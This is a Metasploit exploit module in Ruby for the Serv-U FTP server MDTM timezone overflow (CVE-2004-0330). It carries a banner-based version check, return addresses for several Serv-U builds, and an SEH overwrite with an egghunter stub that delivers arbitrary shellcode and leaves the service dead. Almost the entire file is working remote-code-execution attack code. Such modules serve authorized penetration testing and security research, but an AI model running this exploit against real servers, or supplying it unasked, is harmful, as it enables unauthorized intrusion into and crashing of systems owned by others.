Serv-U FTPD MDTM Overflow

                                                ##
# $Id: servu_mdtm.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Serv-U FTPD MDTM Overflow',
			'Description'    => %q{
					This is an exploit for the Serv-U\'s MDTM command timezone
				overflow. It has been heavily tested against versions
				4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
				nt4/2k/xp/2k3. I have also had success against version 3,
				but only tested 1 version/os. The bug is in all versions
				prior to 5.0.0.4, but this exploit will not work against
				versions not listed above. You only get one shot, but it
				should be OS/SP independent.

				This exploit is a single hit, the service dies after the
				shellcode finishes execution.
			},
			'Author'         => [ 'spoonm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-0330'],
					[ 'OSVDB', '4073'],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
					[ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
					[ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
					[ 'BID', '9751'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005
						{
							'Platform' => 'win',
							'Ret'      => 0x00401877,
						},
					],
					[
						'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
						{
							'Platform' => 'win',
							'Ret'      => 0x0040164d,
						},
					],
					[
						'Serv-U 5.0.0.0 ServUDaemon.exe',
						{
							'Platform' => 'win',
							'Ret'      => 0x0040167e,
						},
					],
				],
			'DisclosureDate' => 'Feb 26 2004',
			'DefaultTarget' => 0))

		register_advanced_options(
			[
				OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
				OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
			], self.class)

	end

	# From 5.0.0.4 Change Log
	# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
	#
	# Nice way to play it down boys
	#
	# Connected to ftp2.rhinosoft.com.
	# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
	#
	# Heh :)

	def check
		connect
		disconnect

		case banner
			when /Serv-U FTP Server v4\.1/
				print_status('Found version 4.1.0.3, exploitable')
				return Exploit::CheckCode::Vulnerable

			when /Serv-U FTP Server v5\.0/
				print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
				return Exploit::CheckCode::Appears

			when /Serv-U FTP Server v4\.0/
				print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
				send_user(datastore['USER'])
				send_pass(datastore['PASS'])
				if (double_ff?())
					print_status('Found version 4.0.0.4, exploitable');
					return Exploit::CheckCode::Vulnerable
				else
					print_status('Found version 4.1.0.0, exploitable');
					return Exploit::CheckCode::Vulnerable
				end

			when /Serv-U FTP Server/
				print_status('Found an unknown version, try it!');
				return Exploit::CheckCode::Detected

			else
				print_status('We could not recognize the server banner')
				return Exploit::CheckCode::Safe
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		connect_login

		print_status("Trying target #{target.name}...")

		# Should have paid more attention to skylined's exploit, only after figuring
		# out how my payloads were getting transformed did I remember seeing \xff
		# doubling in his CHMOD exploit, arg!
		shellcode = payload.encoded

		case datastore['ForceDoubling']
			when 1
				print_status("Forced doubling of all \\xff sequences in the encoded payload")
				shellcode.gsub!(/\xff/, "\xff\xff")
			when 0
				print_status("Forced doubling has been disabled")
			when 2
				if (double_ff?())
					print_status("Forced doubling enabled after detection of version 4.0.0.4")
					shellcode.gsub!(/\xff/, "\xff\xff")
				end
		end

		# Searcher expects address to start scanning at in edi
		# Since we got here via a pop pop ret, we can just the address of the jmp
		# off the stack, add esp, BYTE -4 ; pop edi

		search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
		search_stub = Rex::Arch::X86.searcher(search_rtag)
		search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
		if (datastore['SEHOffset'] < search_code.length)
			print_error("Not enough room for search code, adjust SEHOffset")
			return
		end

		jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'

		buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
		buf << search_code
		buf << jump_back
		buf << [target.ret].pack('V')
		buf << ' /'
		buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
		buf << shellcode
		buf << search_rtag

		send_cmd( [buf], false )

		handler
		disconnect
	end

	def double_ff?
		res = send_cmd( ['P@SW'], true )
		return (res and res =~ /^500/) ? true : false
	end

end